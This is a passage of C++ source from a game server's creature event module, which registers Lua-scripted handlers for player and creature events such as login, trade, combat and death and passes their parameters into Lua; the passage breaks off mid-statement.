CreatureEvent* creatureEvent = dynamic_cast<CreatureEvent*>(event); if(!creatureEvent) return false; if(creatureEvent->getEventType() == CREATURE_EVENT_NONE) { std::cout << "[Error - CreatureEvents::registerEvent] Trying to register event without type!" << std::endl; return false; } if(CreatureEvent* oldEvent = getEventByName(creatureEvent->getName(), false)) { //if there was an event with the same type that is not loaded (happens when realoading), it is reused if(oldEvent->getEventType() == creatureEvent->getEventType() && (!oldEvent->isLoaded() || override)) oldEvent->copyEvent(creatureEvent); /*delete creatureEvent; return override;*/ return false; } //if not, register it normally m_creatureEvents[creatureEvent->getName()] = creatureEvent; return true; } CreatureEvent* CreatureEvents::getEventByName(const std::string& name, bool forceLoaded /*= true*/) { CreatureEventList::iterator it = m_creatureEvents.find(name); if(it != m_creatureEvents.end()) { if(!forceLoaded || it->second->isLoaded()) return it->second; } return NULL; } bool CreatureEvents::playerLogin(Player* player) { //fire global event if is registered bool result = true; for(CreatureEventList::iterator it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it) { if(it->second->getEventType() == CREATURE_EVENT_LOGIN && !it->second->executeLogin(player) && result) result = false; } return result; } bool CreatureEvents::playerLogout(Player* player, bool forceLogout) { //fire global event if is registered bool result = true; for(CreatureEventList::iterator it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it) { if(it->second->getEventType() == CREATURE_EVENT_LOGOUT && !it->second->executeLogout(player, forceLogout) && result) result = false; } return forceLogout || result; } ///////////////////////////////////// CreatureEvent::CreatureEvent(LuaScriptInterface* _interface): Event(_interface) { m_type = CREATURE_EVENT_NONE; m_isLoaded = false; } bool CreatureEvent::configureEvent(xmlNodePtr p) { std::string str; if(!readXMLString(p, "name", str)) { std::cout << "[Error - CreatureEvent::configureEvent] No name for creature event." << std::endl; return false; } m_eventName = str; if(!readXMLString(p, "type", str)) { std::cout << "[Error - CreatureEvent::configureEvent] No type for creature event." << std::endl; return false; } std::string tmpStr = asLowerCaseString(str); if(tmpStr == "login") m_type = CREATURE_EVENT_LOGIN; else if(tmpStr == "logout") m_type = CREATURE_EVENT_LOGOUT; else if(tmpStr == "joinchannel") m_type = CREATURE_EVENT_CHANNEL_JOIN; else if(tmpStr == "leavechannel") m_type = CREATURE_EVENT_CHANNEL_LEAVE; else if(tmpStr == "advance") m_type = CREATURE_EVENT_ADVANCE; else if(tmpStr == "sendmail") m_type = CREATURE_EVENT_MAIL_SEND; else if(tmpStr == "receivemail") m_type = CREATURE_EVENT_MAIL_RECEIVE; else if(tmpStr == "traderequest") m_type = CREATURE_EVENT_TRADE_REQUEST; else if(tmpStr == "tradeaccept") m_type = CREATURE_EVENT_TRADE_ACCEPT; else if(tmpStr == "textedit") m_type = CREATURE_EVENT_TEXTEDIT; else if(tmpStr == "reportbug") m_type = CREATURE_EVENT_REPORTBUG; else if(tmpStr == "look") m_type = CREATURE_EVENT_LOOK; else if(tmpStr == "think") m_type = CREATURE_EVENT_THINK; else if(tmpStr == "direction") m_type = CREATURE_EVENT_DIRECTION; else if(tmpStr == "outfit") m_type = CREATURE_EVENT_OUTFIT; else if(tmpStr == "statschange") m_type = CREATURE_EVENT_STATSCHANGE; else if(tmpStr == "areacombat") m_type = CREATURE_EVENT_COMBAT_AREA; else if(tmpStr == "push") m_type = CREATURE_EVENT_PUSH; else if(tmpStr == "target") m_type = CREATURE_EVENT_TARGET; else if(tmpStr == "follow") m_type = CREATURE_EVENT_FOLLOW; else if(tmpStr == "combat") m_type = CREATURE_EVENT_COMBAT; else if(tmpStr == "attack") m_type = CREATURE_EVENT_ATTACK; else if(tmpStr == "cast") m_type = CREATURE_EVENT_CAST; else if(tmpStr == "kill") m_type = CREATURE_EVENT_KILL; else if(tmpStr == "death") m_type = CREATURE_EVENT_DEATH; else if(tmpStr == "preparedeath") m_type = CREATURE_EVENT_PREPAREDEATH; else if(tmpStr == "spawn") m_type = CREATURE_EVENT_SPAWN; else if(tmpStr == "extendedopcode") m_type = CREATURE_EVENT_EXTENDED_OPCODE; else { std::cout << "[Error - CreatureEvent::configureEvent] No valid type for creature event." << str << std::endl; return false; } m_isLoaded = true; return true; } std::string CreatureEvent::getScriptEventName() const { switch(m_type) { case CREATURE_EVENT_LOGIN: return "onLogin"; case CREATURE_EVENT_LOGOUT: return "onLogout"; case CREATURE_EVENT_CHANNEL_JOIN: return "onJoinChannel"; case CREATURE_EVENT_CHANNEL_LEAVE: return "onLeaveChannel"; case CREATURE_EVENT_THINK: return "onThink"; case CREATURE_EVENT_ADVANCE: return "onAdvance"; case CREATURE_EVENT_LOOK: return "onLook"; case CREATURE_EVENT_DIRECTION: return "onDirection"; case CREATURE_EVENT_OUTFIT: return "onOutfit"; case CREATURE_EVENT_MAIL_SEND: return "onSendMail"; case CREATURE_EVENT_MAIL_RECEIVE: return "onReceiveMail"; case CREATURE_EVENT_TRADE_REQUEST: return "onTradeRequest"; case CREATURE_EVENT_TRADE_ACCEPT: return "onTradeAccept"; case CREATURE_EVENT_TEXTEDIT: return "onTextEdit"; case CREATURE_EVENT_REPORTBUG: return "onReportBug"; case CREATURE_EVENT_STATSCHANGE: return "onStatsChange"; case CREATURE_EVENT_COMBAT_AREA: return "onAreaCombat"; case CREATURE_EVENT_PUSH: return "onPush"; case CREATURE_EVENT_TARGET: return "onTarget"; case CREATURE_EVENT_FOLLOW: return "onFollow"; case CREATURE_EVENT_COMBAT: return "onCombat"; case CREATURE_EVENT_ATTACK: return "onAttack"; case CREATURE_EVENT_CAST: return "onCast"; case CREATURE_EVENT_KILL: return "onKill"; case CREATURE_EVENT_DEATH: return "onDeath"; case CREATURE_EVENT_EXTENDED_OPCODE: return "onExtendedOpcode"; case CREATURE_EVENT_PREPAREDEATH: return "onPrepareDeath"; case CREATURE_EVENT_SPAWN: return "onSpawn"; case CREATURE_EVENT_NONE: default: break; } return ""; } std::string CreatureEvent::getScriptEventParams() const { switch(m_type) { case CREATURE_EVENT_LOGIN: return "cid"; case CREATURE_EVENT_LOGOUT: return "cid, forceLogout"; case CREATURE_EVENT_CHANNEL_JOIN: case CREATURE_EVENT_CHANNEL_LEAVE: return "cid, channel, users"; case CREATURE_EVENT_ADVANCE: return "cid, skill, oldLevel, newLevel"; case CREATURE_EVENT_LOOK: return "cid, thing, position, lookDistance"; case CREATURE_EVENT_MAIL_SEND: return "cid, receiver, item, openBox"; case CREATURE_EVENT_MAIL_RECEIVE: return "cid, sender, item, openBox"; case CREATURE_EVENT_TRADE_REQUEST: case CREATURE_EVENT_TRADE_ACCEPT: return "cid, target, item"; case CREATURE_EVENT_TEXTEDIT: return "cid, item, newText"; case CREATURE_EVENT_REPORTBUG: return "cid, comment"; case CREATURE_EVENT_THINK: return "cid, interval"; case CREATURE_EVENT_DIRECTION: case CREATURE_EVENT_OUTFIT: return "cid, old, current"; case CREATURE_EVENT_STATSCHANGE: return "cid, attacker, type, combat, value"; case CREATURE_EVENT_COMBAT_AREA: return "cid, ground, position, aggressive"; case CREATURE_EVENT_PUSH: case CREATURE_EVENT_TARGET: case CREATURE_EVENT_FOLLOW: case CREATURE_EVENT_COMBAT: case CREATURE_EVENT_ATTACK: case CREATURE_EVENT_CAST: return "cid, target"; case CREATURE_EVENT_KILL: return "cid, target, lastHit"; case CREATURE_EVENT_DEATH: return "cid, corpse, deathList"; case CREATURE_EVENT_EXTENDED_OPCODE: return "cid, opcode, buffer"; case CREATURE_EVENT_PREPAREDEATH: return "cid, deathList"; case CREATURE_EVENT_SPAWN: return "cid"; case CREATURE_EVENT_NONE: default: break; } return ""; } void CreatureEvent::copyEvent(CreatureEvent* creatureEvent) { m_scriptId = creatureEvent->m_scriptId; m_interface = creatureEvent->m_interface; m_scripted = creatureEvent->m_scripted; m_isLoaded = creatureEvent->m_isLoaded; } void CreatureEvent::clearEvent() { m_scriptId = 0; m_interface = NULL; m_scripted = EVENT_SCRIPT_FALSE; m_isLoaded = false; } uint32_t CreatureEvent::executeLogin(Player* player) { //onLogin(cid) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); bool result = m_interface->callFunction(1); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeLogin] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeLogout(Player* player, bool forceLogout) { //onLogout(cid, forceLogout) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local forceLogout = " << (forceLogout ? "true" : "false") << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushboolean(L, forceLogout); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeLogout] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeChannelJoin(Player* player, uint16_t channelId, UsersMap usersMap) { //onJoinChannel(cid, channel, users) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local channel = " << channelId << std::endl; scriptstream << "local users = {}" << std::endl; for(UsersMap::iterator it = usersMap.begin(); it != usersMap.end(); ++it) scriptstream << "users:insert(" << env->addThing(it->second) << ")" << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, channelId); UsersMap::iterator it = usersMap.begin(); lua_newtable(L); for(int32_t i = 1; it != usersMap.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(it->second)); lua_settable(L, -3); } bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeChannelJoin] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeChannelLeave(Player* player, uint16_t channelId, UsersMap usersMap) { //onLeaveChannel(cid, channel, users) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local channel = " << channelId << std::endl; scriptstream << "local users = {}" << std::endl; for(UsersMap::iterator it = usersMap.begin(); it != usersMap.end(); ++it) scriptstream << "users:insert(" << env->addThing(it->second) << ")" << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, channelId); UsersMap::iterator it = usersMap.begin(); lua_newtable(L); for(int32_t i = 1; it != usersMap.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(it->second)); lua_settable(L, -3); } bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeChannelLeave] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeAdvance(Player* player, skills_t skill, uint32_t oldLevel, uint32_t newLevel) { //onAdvance(cid, skill, oldLevel, newLevel) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local skill = " << skill << std::endl; scriptstream << "local oldLevel = " << oldLevel << std::endl; scriptstream << "local newLevel = " << newLevel << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, (uint32_t)skill); lua_pushnumber(L, oldLevel); lua_pushnumber(L, newLevel); bool result = m_interface->callFunction(4); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeAdvance] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeMailSend(Player* player, Player* receiver, Item* item, bool openBox) { //onSendMail(cid, receiver, item, openBox) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local receiver = " << env->addThing(receiver) << std::endl; env->streamThing(scriptstream, "item", item, env->addThing(item)); scriptstream << "local openBox = " << (openBox ? "true" : "false") << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[30]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, env->addThing(receiver)); LuaScriptInterface::pushThing(L, item, env->addThing(item)); lua_pushboolean(L, openBox); bool result = m_interface->callFunction(4); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeMailSend] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeMailReceive(Player* player, Player* sender, Item* item, bool openBox) { //onReceiveMail(cid, sender, item, openBox) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local sender = " << env->addThing(sender) << std::endl; env->streamThing(scriptstream, "item", item, env->addThing(item)); scriptstream << "local openBox = " << (openBox ? "true" : "false") << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[30]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, env->addThing(sender)); LuaScriptInterface::pushThing(L, item, env->addThing(item)); lua_pushboolean(L, openBox); bool result = m_interface->callFunction(4); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeMailReceive] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeTradeRequest(Player* player, Player* target, Item* item) { //onTradeRequest(cid, target, item) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; env->streamThing(scriptstream, "item", item, env->addThing(item)); scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, env->addThing(target)); LuaScriptInterface::pushThing(L, item, env->addThing(item)); bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeTradeRequest] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeTradeAccept(Player* player, Player* target, Item* item, Item* targetItem) { //onTradeAccept(cid, target, item, targetItem) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; env->streamThing(scriptstream, "item", item, env->addThing(item)); scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); lua_pushnumber(L, env->addThing(target)); LuaScriptInterface::pushThing(L, item, env->addThing(item)); LuaScriptInterface::pushThing(L, targetItem, env->addThing(targetItem)); bool result = m_interface->callFunction(4); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeTradeAccept] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeLook(Player* player, Thing* thing, const Position& position, int16_t stackpos, int32_t lookDistance) { //onLook(cid, thing, position, lookDistance) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(player->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(player) << std::endl; scriptstream << "local thing = " << env->addThing(thing) << std::endl; env->streamPosition(scriptstream, "position", position, stackpos); scriptstream << "local lookDistance = " << lookDistance << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[30]; sprintf(desc, "%s", player->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(player->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(player)); LuaScriptInterface::pushThing(L, thing, env->addThing(thing)); LuaScriptInterface::pushPosition(L, position, stackpos); lua_pushnumber(L, lookDistance); bool result = m_interface->callFunction(4); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeLook] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeDirection(Creature* creature, Direction old, Direction current) { //onDirection(cid, old, current) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local old = " << old << std::endl; scriptstream << "local current = " << current << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[30]; sprintf(desc, "%s", creature->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, old); lua_pushnumber(L, current); bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeDirection] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeOutfit(Creature* creature, const Outfit_t& old, const Outfit_t& current) { //onOutfit(cid, old, current) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; env->streamOutfit(scriptstream, "old", old); env->streamOutfit(scriptstream, "current", current); scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[30]; sprintf(desc, "%s", creature->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); LuaScriptInterface::pushOutfit(L, old); LuaScriptInterface::pushOutfit(L, current); bool result = m_interface->callFunction(3); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeOutfit] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeThink(Creature* creature, uint32_t interval) { //onThink(cid, interval) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local interval = " << interval << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", creature->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, interval); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeThink] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeStatsChange(Creature* creature, Creature* attacker, StatsChange_t type, CombatType_t combat, int32_t value) { //onStatsChange(cid, attacker, type, combat, value) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local attacker = " << env->addThing(attacker) << std::endl; scriptstream << "local type = " << (uint32_t)type << std::endl; scriptstream << "local combat = " << (uint32_t)combat << std::endl; scriptstream << "local value = " << value << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ char desc[35]; sprintf(desc, "%s", creature->getName().c_str()); env->setEventDesc(desc); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, env->addThing(attacker)); lua_pushnumber(L, (uint32_t)type); lua_pushnumber(L, (uint32_t)combat); lua_pushnumber(L, value); bool result = m_interface->callFunction(5); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeStatsChange] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeCombatArea(Creature* creature, Tile* tile, bool aggressive) { //onAreaCombat(cid, ground, position, aggressive) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; env->streamThing(scriptstream, "ground", tile->ground, env->addThing(tile->ground)); env->streamPosition(scriptstream, "position", tile->getPosition(), 0); scriptstream << "local aggressive = " << (aggressive ? "true" : "false") << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); LuaScriptInterface::pushThing(L, tile->ground, env->addThing(tile->ground)); LuaScriptInterface::pushPosition(L, tile->getPosition(), 0); lua_pushboolean(L, aggressive); bool result = m_interface->callFunction(4); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeAreaCombat] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeCombat(Creature* creature, Creature* target) { //onCombat(cid, target) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, env->addThing(target)); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeCombat] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeAttack(Creature* creature, Creature* target) { //onAttack(cid, target) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local target = " << env->addThing(target) << std::endl; scriptstream << m_scriptData; bool result = true; if(m_interface->loadBuffer(scriptstream.str())) { lua_State* L = m_interface->getState(); result = m_interface->getGlobalBool(L, "_result", true); } m_interface->releaseEnv(); return result; } else { #ifdef __DEBUG_LUASCRIPTS__ std::stringstream desc; desc << creature->getName(); env->setEventDesc(desc.str()); #endif env->setScriptId(m_scriptId, m_interface); env->setRealPos(creature->getPosition()); lua_State* L = m_interface->getState(); m_interface->pushFunction(m_scriptId); lua_pushnumber(L, env->addThing(creature)); lua_pushnumber(L, env->addThing(target)); bool result = m_interface->callFunction(2); m_interface->releaseEnv(); return result; } } else { std::cout << "[Error - CreatureEvent::executeAttack] Call stack overflow." << std::endl; return 0; } } uint32_t CreatureEvent::executeCast(Creature* creature, Creature* target/* = NULL*/) { //onCast(cid[, target]) if(m_interface->reserveEnv()) { ScriptEnviroment* env = m_interface->getEnv(); if(m_scripted == EVENT_SCRIPT_BUFFER) { env->setRealPos(creature->getPosition()); std::stringstream scriptstream; scriptstream << "local cid = " << env->addThing(creature) << std::endl; scriptstream << "local target = "; 